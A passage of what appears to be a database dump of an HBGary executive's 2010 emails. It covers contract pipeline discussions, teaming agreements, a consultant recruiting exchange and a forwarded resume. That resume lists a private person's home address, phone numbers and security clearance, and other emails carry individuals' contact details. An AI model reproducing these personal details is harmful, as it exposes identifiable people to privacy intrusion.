<Michelle.Carper@ngc.com>','/aaron@hbgary.com/new/1297003927.M318506P14101Q256.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Michelle Carper has indicated you are a Colleague at Northrop Grumman Information Systems - TASC:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n- Michelle Carper\r\n  \r\n\r\n  &nbsp;\r\n\r\n    \r\n      \r\n          \r\n            Accept\r\n          \r\n           \r\n                View invitation from Michelle Carper\r\n          \r\n      \r\n    \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW that LinkedIn can find the answers to your most difficult questions? Post those vexing questions on LinkedIn Answers to tap into the knowledge of the world\'s foremost business experts. \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',5554,'aaron_hbgary_com/5554.html'),(5402,'2010-04-15','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003927.M541747P14101Q257.eml','all@hbgary.com,\"Karen Burke\" <karenmaryburke@yahoo.com>','Enterprise Threat Intelligence',' \r\nAll,\r\nWe updated the website w/ the tagline &quot;Enterprise Threat Intelligence&quot; - we are trying it on to see how it feels.  Let me know how it feels.\r\n \r\n-Greg\r\n',12308,'aaron_hbgary_com/12308.html'),(5403,'2010-04-15','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297003927.M774667P14101Q258.eml','\"Aaron Barr\" <aaron@hbgary.com>','Monitor and Booth question','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI received your call re monitor, but you kept cutting out. I\r\nbelieve it was on my side of the phone, I have had plenty of problems with\r\nphones today.&nbsp; Did you say you returned the monitor?&nbsp; Did you get a tracking\r\nnumber for the shipping of the Booth? \r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2318,'aaron_hbgary_com/2318.html'),(5404,'2010-04-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003928.M14046P14101Q259.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: 87445313 Multi-Source Intelligence Analyst Monster Resume 	#uis4rhza75h3hz3i','Sent from my iPadBegin forwarded message:From: &lt;william.holler@us.army.mil&gt;\r\nDate: April 15, 2010 4:24:34 PM MDTTo: &lt;ted@hbgary.com&gt;Subject: 87445313  Multi-Source Intelligence Analyst  Monster Resume #uis4rhza75h3hz3i\r\nReply-To: &lt;william.holler@us.army.mil&gt;\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis job seeker is applying to the following:\r\n\r\n\r\n\r\n\r\nJob ID:  87445313\r\n\r\nJob Title:  Multi-Source Intelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\nQuick View Links:\r\n\r\n\r\nResume Section\r\nSummary Section\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n	\r\n	\r\n	\r\n	\r\n			\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCONTACT INFO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWilliam  Holler \r\n\r\nHarpers Ferry, WV  25425\r\nUS\r\nwilliam.holler@us.army.mil\r\n\r\n\r\n\r\n\r\n\r\nMobile:   \r\nHome: \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRESUME\r\n \r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResume Value: \r\nuis4rhza75h3hz3i   Resume Headline: Intelligence Analyst  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n William P. Holler 923 Carter Ave. Harpers Ferry, WV 25425 Home: 304-876-6457 Mobile: 443-567-1102\r\n  William.holler@us.army.mil      Objective  \r\n  A hands-on leader, searching for Intelligence Analyst career opportunities. Desire a dynamic work environment in a team setting offering opportunities for career advancement, but also capable of completing work productively in an independent manner. Great people person with willingness to always expand education and knowledge in work field. Experienced in detailed report writing and in-depth research. Recent work experience as an Intelligence Analyst. TS/SCI security clearance (Active).\r\n \r\n Work History     Intelligence Analyst Aug. 2004-Present   Performed intelligence analysis, research, and dissemination Coordinated with all intelligence entities (HUMINT, SIGINT, etc.)\r\n Evaluated and processed tactical intelligence data utilizing tools such as ASAS-L, Falconview, WITR, Microsoft Word, Powerpoint, Excel, ATTAC and the CIDNE reporting system Determined significance and reliability of incoming information\r\n Integrated data into existing intelligence holdings Assisted in creating plans based on enemy capabilities Performed intelligence analysis, research, and dissemination for the only TECHINT unit in the Army\r\n Provided TECHREPs on enemy materials and weapons     Weapons Intelligence Non-Commissioned Officer Operation Iraqi Freedom Sept. 2009- June 2010   \r\nWeapons Intelligence Team (WIT) 1 (Salah Ad Din Province) Team Leader Conducted 75+ combat missions and co-authored 10+ definitive reports contributing to the National Biometric Database, therefore informing multiple agencies of threats to Coalition Forces\r\n Authored 60+ Weapons Intelligence Reports detailing device descriptions, witnesses, tracking of and analysis to Tactics, Techniques, and Procedures of insurgent activity in the MNF-North AO, as well as updating current reports with information on new devices\r\n Worked with other groups and agencies in the Counter IED effort (EOD, CEXC, Task Force Troy, NCIS) Researched (open and closed source) IED making materials (explosives and electronic components) for product origins and comparison with similar devices in other areas of operations in the Iraqi theatre\r\n Provided first-hand analysis, opinions, and advice to troops on the ground to protect themselves against the IED threat \r\nUtilized databases such as the SIPRNET, NGIC (CITP), and CIDNE to develop patterns and trends targeting specific bomb makers and insurgent groups in the MNF-North area of operations Collected Biometric data such as latent finger and toe prints, detainee photographs and video, identification cards, and DNA samples for use in the Biometric Automated Toolset\r\n Issued specialized reports to HUMINT collectors for interrogation assistance involving detained IED producing insurgents and provided accessibility of Weapons Intelligence reports to cleared HUMINT personnel \r\nStudied and analyzed ECM usage, capabilities, and limitations Personally responsible for mentorship, training, and evaluation of subordinate Soldiers, Seamen, and Airmen on the ever changing IED threat Responsible for maintenance and operation of JERV combat vehicle, SINCGARS and Harris radio systems, CREW systems, and crew serve weapons\r\n     \r\nWeapons Intelligence Team Non-Commissioned Officer Operation Iraqi Freedom Sept. 2005- Sept. 2006   Conducted 450+ combat missions and co-authored 250+ definitive reports contributing to the National Biometric Database, therefore informing multiple agencies of threats to Coalition Forces\r\n Authored 25+ Weapons Intelligence Reports detailing device descriptions, witnesses, tracking of and analysis to Tactics, Techniques, and Procedures of insurgent activity in the MNF-North AO, as well as updating current reports with information on new devices\r\n Trained over 500 soldiers, sailors, and seamen to perform the Weapons Intelligence Team (WIT) mission Developed first-hand knowledge and experience in the Samarra AO Utilized databases such as the SIPRNET, NGIC (CITP), and CIDNE to develop patterns and trends targeting specific bomb makers and insurgent groups in the MNF-North area of operations\r\n \r\nWorked with other groups and agencies in the Counter IED effort (EOD, CEXC, Task Force Troy, NCIS) Researched (open and closed source) IED making materials (explosives and electronic components) for product origins and comparison with similar devices in other areas of operations in the Iraqi theatre\r\n Provided first-hand analysis, opinions, and advice to troops on the ground to protect themselves against the IED threat Collected Biometric data such as latent finger and toe prints, detainee photographs and video, identification cards, and DNA samples for use in the Biometric Automated Toolset\r\n Issued specialized reports to HUMINT collectors for interrogation assistance involving detained IED producing insurgents and provided accessibility of Weapons Intelligence reports to cleared HUMINT personnel \r\nStudied and analyzed ECM usage, capabilities, and limitations \r\nPersonally responsible for mentorship, training, and evaluation of subordinate Soldiers, Seamen, and Airmen on the ever changing IED threat Responsible for maintenance and operation of M-1114 combat vehicle, SINCGARS radio system, CREW system, and crew serve weapon\r\n     Education Associate of Applied Science Intelligence Operations Degree, 2004 to present Cochise College, Sierra Vista, Arizona\r\n Bachelor of Arts Physical Education Major, Health Minor, 2004 to present Shepherd University, Shepherdstown, West Virginia High School Diploma, June 2003 Jefferson High School, Shenandoah Junction, West Virginia\r\n  Training  Warrior Leadership Course Asymmetric Warfare Intelligence Analysis Combat Tracking Forensic Evidence Collection and Preservation\r\n \r\nComputer and Media Forensic Collection and Analysis Foreign Weapons Course Microsoft Office Word 2000 Certified      \r\n\r\n\r\n\r\n\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSUMMARY\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Salary/Wage:\r\n70,000.00 - 80,000.00 USD Per Year \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCurrent Career Level:\r\nExperienced (Non-Manager)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYears of relevant work experience:\r\n7+ to 10 Years\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate of Availability:\r\n8/1/2010\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWork Status:\r\nUS - I am authorized to work in this country for any employer.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nActive Security Clearance:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUS Military Service:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Job:\r\nTarget Job Title:\r\nIntelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Job Type:\r\nEmployee\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Status:\r\nFull-Time\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Company:\r\nIndustry:\r\nGovernment and MilitarySecurity and Surveillance\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Locations:\r\nSelected Locations:\r\nUS-DC-Washington/MetroUS-MDUS-MD-BaltimoreUS-VAUS-VA-Charlottesville/HarrisonburgUS-WV-NorthernUS-VA-Fairfax/Manassas/RestonUS-DCUS-MD-Montgomery County\r\nUS-VA-AlexandriaUS\r\n-VA-McLean/ArlingtonUS-MD-Anne Arundel CountyUS-MD-Prince George&#39;s CountyUS-MD-Frederick/HagerstownUS-MD-Columbia\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRelocate:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWillingness to travel:\r\nUp to 25% travel\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n\r\nExperience:\r\n - Present\r\nUnited States Army Reserve, 203d MI BN\r\n\r\n\r\n\r\n\r\nIntelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n',14746,'aaron_hbgary_com/14746.html'),(5405,'2010-04-16','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297003928.M235869P14101Q260.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: One other thing','\r\n\r\n\r\n\r\n\r\nRE: One other thing\r\n\r\n\r\n\r\n\r\nAaron -\r\n\r\nMakes sense.&nbsp; Let me get soem details so we can discuss.\r\n\r\nThanks -\r\n\r\nMike Mulville\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 4/15/2010 11:36 AM\r\nTo: Mulville, Michael E.\r\nSubject: One other thing\r\n\r\nMike,\r\n\r\nI hear that the NTOC work is being re-competed.&nbsp; I am going to take a guess if that is the case you will be trying to win that work back.&nbsp; I would like to talk to you about HBGary Federal supporting that effort at the right time.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11552,'aaron_hbgary_com/11552.html'),(5406,'2010-04-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003928.M486989P14101Q261.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: One other thing','Begin forwarded message:From: \"Mulville, Michael E.\" &lt;MICHAEL.E.MULVILLE@saic.com&gt;Date: April 15, 2010 9:57:52 PM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: One other thing\r\n\r\nAaron -\r\n\r\nMakes sense.&nbsp; Let me get soem details so we can discuss.\r\n\r\nThanks -\r\n\r\nMike Mulville\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 4/15/2010 11:36 AM\r\nTo: Mulville, Michael E.\r\nSubject: One other thing\r\n\r\nMike,\r\n\r\nI hear that the NTOC work is being re-competed.&nbsp; I am going to take a guess if that is the case you will be trying to win that work back.&nbsp; I would like to talk to you about HBGary Federal supporting that effort at the right time.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11899,'aaron_hbgary_com/11899.html'),(5407,'2010-04-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003928.M706511P14101Q262.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Updated Pipeline','Corey White or Mike Spohn, Ted knows Mike\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 15, 2010 8:29 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Updated Pipeline\r\n\r\nI am happy to do that.  But I need to talk to them first.  If you could set\r\nup a conversation we can start to get that going.\r\n\r\nAaron\r\n\r\nOn Apr 15, 2010, at 11:06 AM, Penny Leavy-Hoglund wrote:\r\n\r\n> Later today.  You can use Foundstone you know.  We can sell and they can\r\n> service\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, April 15, 2010 7:26 AM\r\n> To: Penny Leavy-Hoglund\r\n> Cc: Ted Vera\r\n> Subject: Re: Updated Pipeline\r\n> \r\n> I believe so.\r\n> \r\n> On the IR stuff, I know you guys want us to stand this up and we will.\r\nTed\r\n> and I have been chasing some longer term engagements so we can build\r\n> stability in our pipeline before we focus too much in short term work\r\nwhich\r\n> has inherently more risk.  Long term work takes a bit longer to set up,\r\nbut\r\n> as you can see from our pipeline we have established fronts in many areas,\r\n> even a small PWIN on this pipeline will put us in the good in the next few\r\n> months.  Ted and I don\'t have much else to chase at the moment so we are\r\n> going to focus our efforts on finishing the IR services offerings Ted\r\n> started a while back and then we will get on the GSA schedule and start to\r\n> market these offerings.  Again its a people thing, we don\'t have the\r\npeople\r\n> to do the work right now.  I talked to Ted last week about having all of\r\n> this ready at the latest by the FIRST conference.  I want to be able to\r\n> market this service, as well as our other services, there.\r\n> \r\n> When do you have some time to do a telecon to discuss the pipeline, IR\r\nwork,\r\n> funding, etc?\r\n> \r\n> Aaron\r\n> \r\n> On Apr 15, 2010, at 7:30 AM, Penny Leavy-Hoglund wrote:\r\n> \r\n>> What\'s up with the funding for GD?  Are they waiting for the meeting on\r\n> the\r\n>> 19th?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, April 15, 2010 4:29 AM\r\n>> To: Penny Leavy-Hoglund\r\n>> Subject: Re: Updated Pipeline\r\n>> \r\n>> We definately are going to offer IR but it is still a people problem.\r\n>> I don\'t have anyone to do the work yet.  Checking to see if Dino does\r\n>> that type of work.  On website, we were supposed to have Aaron spring\r\n>> on already to put it up but project B funding has been delayed.  As\r\n>> soon as that money comes in we will bring on Aaron and website will be\r\n>> put up.\r\n>> \r\n>> Aaron\r\n>> \r\n>> From my iPhone\r\n>> \r\n>> On Apr 15, 2010, at 1:50 AM, Penny Leavy-Hoglund \r\n>> wrote:\r\n>> \r\n>>> It looks good if you get the work.  I really think you guys need to be\r\n>>> putting together offerings we can sell.  IR, Forensics, etc.  We\r\n>>> should have\r\n>>> write ups, costs etc.  Are you working on these?  What about a\r\n>>> website?\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>> Sent: Tuesday, April 13, 2010 9:15 AM\r\n>>> To: Penny Leavy-Hoglund; \'Aaron Barr\'\r\n>>> Subject: Updated Pipeline\r\n>>> \r\n>>> Penny,\r\n>>> \r\n>>> Attached is the 2010 HBGary Federal Pipeline that Aaron and I\r\n>>> updated this\r\n>>> morning.  As you can see, we have lots of irons in the fire, many of\r\n>>> which\r\n>>> we\'re just awaiting award announcements for.\r\n>>> \r\n>>> Regards,\r\n>>> Ted\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',14717,'aaron_hbgary_com/14717.html'),(5408,'2010-04-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003928.M982306P14101Q263.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Update','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI would ask Chris Rouland if he has any people that you can use\r\nfor an engagement.&nbsp; See what he says.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 15, 2010 9:26 AM\r\nTo: Ted Vera; Penny Leavy; Greg Hoglund\r\nSubject: Fwd: Update\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOdd response. &nbsp;I have been told he Knows mandiant folks\r\nand is going to start helping them.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Dino Dai Zovi &lt;ddz@trailofbits.com&gt;\r\nDate: April 15, 2010 12:07:07 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Update\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Aaron,\r\n\r\nI don\'t hold a clearance anymore (I last held a DOE L/Secret clearance in 2003,\r\nbut that has long expired). &nbsp;I have done a couple of random IR gigs in the\r\npast, primarily involved in fully reverse engineering high-level malware into\r\naccurate C pseudocode and performing rapid post-intrusion vulnerability\r\nassessments (circa 2004-2005).\r\n\r\nOn second thought, I am realizing that any work with HBGary might fall under\r\nvarious clauses in my employment contract w/ Endgames. &nbsp;I wouldn\'t want to\r\nopen either of us up to any legal exposure, so I should probably refrain from\r\nany work with HBGary for the time being.\r\n\r\nCheers,\r\n\r\n-Dino\r\n\r\n\r\nOn Apr 13, 2010, at 9:54 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\nOk. &nbsp;Great.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe have some ongoing work to build CNE capabilities.\r\n&nbsp;The contract we have had for a while, although we do a variety of\r\ndifferent things within it. &nbsp;We have used some consultants in the past to\r\nhelp with surges in this work. &nbsp;If this type of work interests you I would\r\ndefinitely like to put an NDA in place and use you for this type of work on an\r\nas needed and as available basis.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you hold a clearance at all?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAre you familiar with DARPA\'s cyber genome project?\r\n&nbsp;There were 3 Technical areas and we sub\'d to 1 and primed another related\r\nto automated malware analysis. &nbsp;That is all development work and\r\nunclassified. &nbsp;If that work interests you we could probably use your help\r\nthere too.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you do or have you done Incident Response work? &nbsp;We\r\nget short term gigs like this all the time. &nbsp;I am not completely up on\r\nyour full background so not sure if this is an area of expertise or interest.\r\n&nbsp;HBGary Federal will be working hard over the next few months to solidify\r\nour IR offerings, using HBGary products as well as partner products.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nProbably others too but this is a good start off the top of\r\nmy head.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat types of things are you most interested in working on?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYes, this is my first week post-EGS. &nbsp;I am planning on\r\nstaying independent for a while and trying that out for a bit. &nbsp;I have a\r\ntraining course to prepare for BlackHat and some misc. other tasks, but may\r\nhave some time open for small projects. &nbsp;I would be interested in hearing\r\nabout what type of work you would have open to subcontracting.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Dino\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate: Tue, Apr 13, 2010 at 10:43 AM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Update\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: Dino Dai Zovi &lt;ddz@theta44.org&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLinkedIn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr has sent you a message.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate: 4/13/2010\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Update\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Dino,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt look like your not with EGS? What are you up to? Are you\r\ngoing to stay independent, and if so are you already booked up with work?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nView/reply to this message\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your\r\nmessage settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10691,'aaron_hbgary_com/10691.html'),(5409,'2010-04-16','\"Kitchen, Torri E (TASC)\" <Torri.Kitchen@TASC.COM>','/aaron@hbgary.com/new/1297003929.M917639P14101Q264.eml','aaron@hbgary.com,aaron@hbgary.com','FW: COIN Capture','\r\n\r\n\r\n\r\n\r\nFW: COIN Capture \r\n\r\n\r\n\r\n\r\nGood morning Aaron, \r\n\r\nCan you provided the status of the Teaming Agreement attached below? \r\n\r\nThanks, \r\n\r\nTorri Kitchen \r\n\r\nSubcontract Administrator\r\nTASC, Inc.\r\n4803 Stonecroft Blvd.\r\nChantilly, VA 20151\r\nPH: 703-449-3726\r\n\r\nFax: 978-684-7632\r\n\r\n\r\n\r\n\r\n\r\nPROPRIETARY INFORMATION\r\n\r\nThis e-mail, including attachments, may include confidential and/or proprietary information, to TASC, Inc. and may be used only by the person or entity to which it is addressed. If the reader of this e-mail is not the intended recipient or his or her authorized agent, the reader is hereby notified that any dissemination, distribution or copying of this e-mail is prohibited. If you have received this e-mail in error, please notify the sender by replying to this message and delete this e-mail immediately.\r\n\r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Kitchen, Torri E (TASC)\r\nSent: Thursday, April 01, 2010 12:01 PM\r\nTo: \'aaron@hbgary.com\'\r\nSubject: COIN Capture\r\nImportance: High\r\n\r\n\r\n\r\nGood afternoon Aaron, \r\n\r\nAttached is a copy of the TASC standard Teaming Agreement, Non-Disclosure Agreement, and Exhibit A in support of the COIN capture. Please review the TA and NDA. Should you require any changes to these documents, please use the MS word track changes feature to highlight the changes and provide a justification for each change. If the agreement are acceptable, please return signed copies to my attention. \r\n\r\nShould you have any questions, do not hesitate to contact me. \r\n\r\nRegards, \r\n\r\n &lt;&lt;HBGary_Teaming_Agreement.doc&gt;&gt; \r\n\r\nTorri Kitchen \r\n\r\nSubcontract Administrator\r\nTASC, Inc.\r\n4803 Stonecroft Blvd.\r\nChantilly, VA 20151\r\nPH: 703-449-3726\r\n\r\nFax: 978-684-7632\r\n\r\n\r\n\r\n\r\n\r\nPROPRIETARY INFORMATION\r\n\r\nThis e-mail, including attachments, may include confidential and/or proprietary information, to TASC, Inc. and may be used only by the person or entity to which it is addressed. If the reader of this e-mail is not the intended recipient or his or her authorized agent, the reader is hereby notified that any dissemination, distribution or copying of this e-mail is 